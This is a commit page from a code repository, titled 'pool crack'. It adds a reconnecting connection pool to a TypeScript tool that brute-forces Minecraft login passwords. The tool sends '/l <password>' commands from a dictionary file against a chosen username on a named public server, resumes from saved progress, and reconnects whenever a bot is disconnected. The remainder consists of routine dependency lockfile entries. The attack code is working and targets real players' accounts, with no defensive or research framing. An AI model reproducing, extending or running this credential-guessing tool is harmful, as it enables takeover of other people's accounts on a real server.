Commit cc5bc1a6 authored by nanahira's avatar nanahira

pool crack

parent 7f8eb40f
Pipeline #2129 passed with stages
in 3 minutes and 3 seconds
......@@ -6,16 +6,7 @@ import { Minecraft } from "./minecraft";
import { promises as fs } from "fs";
import { last, lastIndexOf } from "lodash";
import Logger from "bunyan";
async function createMinecraftInstance(username: string) {
const mc = new Minecraft({
username,
host: 'wolfxmc.org',
port: 25565
}, Logger.WARN);
await mc.waitForMessage(messageWaitForLogin, [messageWaitForRegister]);
return mc;
}
import { MinecraftPool } from "./pool";
async function tryPassword(mc: Minecraft, password: string) {
mc.bot.chat(`/l ${password}`);
......@@ -35,19 +26,19 @@ async function runOnce(targetUser: string) {
} catch (e) {
console.log(`Will start from beginning.`);
}
const dict = (await fs.readFile("./data/dict.txt", "utf-8")).split("\n");
let mc: Minecraft;
//await waitBotLogin(bot);
//await delay(1000);
const dict = (await fs.readFile("./dict.txt", "utf-8")).split("\n");
console.log(`Starting crack user ${targetUser}`);
const pool = new MinecraftPool(1, {
username: targetUser,
host: 'wolfxmc.org',
port: 25565
});
try {
for (let i = lastSequence; i < dict.length; ++i) {
if (!mc || mc.died) {
console.log("Connecting.");
mc = await createMinecraftInstance(targetUser);
}
await fs.writeFile("./data/last.json", JSON.stringify({ lastSequence: i }));
const password = dict[i];
console.log(`Trying password ${password}`)
await fs.writeFile("./data/last.json", JSON.stringify({ lastSequence: i }));
const mc = await pool.pickOne();
console.log(`Trying password ${password}`);
if (await tryPassword(mc, password)) {
console.log(`Success. Username: ${targetUser} Password: ${password}`);
break;
......@@ -56,8 +47,8 @@ async function runOnce(targetUser: string) {
} catch (e) {
console.log(`Failed: ${e.toString()}`);
} finally {
mc.bot.end();
console.error(`Finished.`);
process.exit();
}
}
runOnce(process.argv[2]);
......@@ -118,6 +118,15 @@
"resolved": "https://registry.npmjs.org/aes-js/-/aes-js-3.1.2.tgz",
"integrity": "sha512-e5pEa2kBnBOgR4Y/p20pskXI74UEz7de8ZGVo58asOtvSVG5YAbJeELPZxOmt+Bnz3rX753YKhfIn4X4l1PPRQ=="
},
"aggregate-error": {
"version": "3.1.0",
"resolved": "https://registry.npmjs.org/aggregate-error/-/aggregate-error-3.1.0.tgz",
"integrity": "sha512-4I7Td01quW/RpocfNayFdFVk1qSuoh0E7JrbRJ16nH01HhKFQ88INq9Sd+nd72zqRySlr9BmDA8xlEJ6vJMrYA==",
"requires": {
"clean-stack": "^2.0.0",
"indent-string": "^4.0.0"
}
},
"ajv": {
"version": "6.12.6",
"resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz",
......@@ -252,6 +261,11 @@
"supports-color": "^7.1.0"
}
},
"clean-stack": {
"version": "2.2.0",
"resolved": "https://registry.npmjs.org/clean-stack/-/clean-stack-2.2.0.tgz",
"integrity": "sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A=="
},
"color-convert": {
"version": "2.0.1",
"resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
......@@ -393,6 +407,11 @@
"promise": "^5.0.0"
}
},
"eventemitter3": {
"version": "4.0.7",
"resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-4.0.7.tgz",
"integrity": "sha512-8guHBZCwKnFhYdHr2ysuRWErTwhoN2X8XELRlrRwpmfeY2jjuUN4taQMsULKUVo1K4DvZl+0pgfyoysHxvmvEw=="
},
"expand-template": {
"version": "2.0.3",
"resolved": "https://registry.npmjs.org/expand-template/-/expand-template-2.0.3.tgz",
......@@ -614,6 +633,11 @@
"resolved": "https://registry.npmjs.org/ignore/-/ignore-5.1.8.tgz",
"integrity": "sha512-BMpfD7PpiETpBl/A6S498BaIJ6Y/ABT93ETbby2fP00v4EbvPBXWEoaR1UBPKs3iR53pJY7EtZk5KACI57i1Uw=="
},
"indent-string": {
"version": "4.0.0",
"resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz",
"integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg=="
},
"inflight": {
"version": "1.0.6",
"resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz",
......@@ -1005,11 +1029,58 @@
"resolved": "https://registry.npmjs.org/os-tmpdir/-/os-tmpdir-1.0.2.tgz",
"integrity": "sha1-u+Z0BseaqFxc/sdm/lc0VV36EnQ="
},
"p-any": {
"version": "3.0.0",
"resolved": "https://registry.npmjs.org/p-any/-/p-any-3.0.0.tgz",
"integrity": "sha512-5rqbqfsRWNb0sukt0awwgJMlaep+8jV45S15SKKB34z4UuzjcofIfnriCBhWjZP2jbVtjt9yRl7buB6RlKsu9w==",
"requires": {
"p-cancelable": "^2.0.0",
"p-some": "^5.0.0"
}
},
"p-cancelable": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-2.0.0.tgz",
"integrity": "sha512-wvPXDmbMmu2ksjkB4Z3nZWTSkJEb9lqVdMaCKpZUGJG9TMiNp9XcbG3fn9fPKjem04fJMJnXoyFPk2FmgiaiNg=="
},
"p-finally": {
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/p-finally/-/p-finally-1.0.0.tgz",
"integrity": "sha1-P7z7FbiZpEEjs0ttzBi3JDNqLK4="
},
"p-is-promise": {
"version": "3.0.0",
"resolved": "https://registry.npmjs.org/p-is-promise/-/p-is-promise-3.0.0.tgz",
"integrity": "sha512-Wo8VsW4IRQSKVXsJCn7TomUaVtyfjVDn3nUP7kE967BQk0CwFpdbZs0X0uk5sW9mkBa9eNM7hCMaG93WUAwxYQ=="
},
"p-queue": {
"version": "6.6.2",
"resolved": "https://registry.npmjs.org/p-queue/-/p-queue-6.6.2.tgz",
"integrity": "sha512-RwFpb72c/BhQLEXIZ5K2e+AhgNVmIejGlTgiB9MzZ0e93GRvqZ7uSi0dvRF7/XIXDeNkra2fNHBxTyPDGySpjQ==",
"requires": {
"eventemitter3": "^4.0.4",
"p-timeout": "^3.2.0"
},
"dependencies": {
"p-timeout": {
"version": "3.2.0",
"resolved": "https://registry.npmjs.org/p-timeout/-/p-timeout-3.2.0.tgz",
"integrity": "sha512-rhIwUycgwwKcP9yTOOFK/AKsAopjjCakVqLHePO3CC6Mir1Z99xT+R63jZxAT5lFZLa2inS5h+ZS2GvR99/FBg==",
"requires": {
"p-finally": "^1.0.0"
}
}
}
},
"p-some": {
"version": "5.0.0",
"resolved": "https://registry.npmjs.org/p-some/-/p-some-5.0.0.tgz",
"integrity": "sha512-Js5XZxo6vHjB9NOYAzWDYAIyyiPvva0DWESAIWIK7uhSpGsyg5FwUPxipU/SOQx5x9EqhOh545d1jo6cVkitig==",
"requires": {
"aggregate-error": "^3.0.0",
"p-cancelable": "^2.0.0"
}
},
"p-timeout": {
"version": "4.1.0",
"resolved": "https://registry.npmjs.org/p-timeout/-/p-timeout-4.1.0.tgz",
......
......@@ -33,6 +33,8 @@
"lodash": "^4.17.20",
"mineflayer": "^2.40.1",
"mustache": "^4.1.0",
"p-any": "^3.0.0",
"p-queue": "^6.6.2",
"p-timeout": "^4.1.0",
"pkg": "^4.4.9",
"q": "^1.5.1",
......
import Logger from "bunyan";
import _ from "lodash";
import { Bot, BotOptions } from "mineflayer";
import pTimeout from "p-timeout";
import pAny from "p-any";
import pQueue from "p-queue";
import { messageWaitForLogin, messageWaitForRegister } from "./constants";
import { Minecraft } from "./minecraft";
export class MinecraftPool {
size: number;
options: BotOptions;
connections: Minecraft[];
refillQueue: pQueue;
constructor(size: number, options: BotOptions) {
this.size = size;
this.options = options;
this.connections = [];
this.refillQueue = new pQueue({ concurrency: 1 });
this.refill();
}
private async addOne() {
const mc = new Minecraft(this.options, Logger.WARN);
try {
await pTimeout(mc.waitForMessage(messageWaitForLogin, [messageWaitForRegister]), 10000);
} catch (e) {
//console.error("CONNECTION ERROR", e.toString());
throw e;
}
this.connections.push(mc);
}
private async refillProcess() {
const fillNeededCount = this.size - this.connections.length;
if (fillNeededCount <= 0) {
return;
}
while (true) {
try {
await pAny(_.range(fillNeededCount).map(() => this.addOne()));
return;
} catch (e) {
//console.log("All connections failed. Retrying.");
}
}
}
private async refill() {
await this.refillQueue.onEmpty();
await this.refillQueue.add(async () => {
await this.refillProcess();
})
}
async pickOne() {
this.connections = this.connections.filter(mc => !mc.died);
if (!this.connections.length) {
await this.refill();
} else if (this.connections.length < this.size) {
this.refill();
}
return this.connections[Math.floor(Math.random() * this.connections.length)];
}
}
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment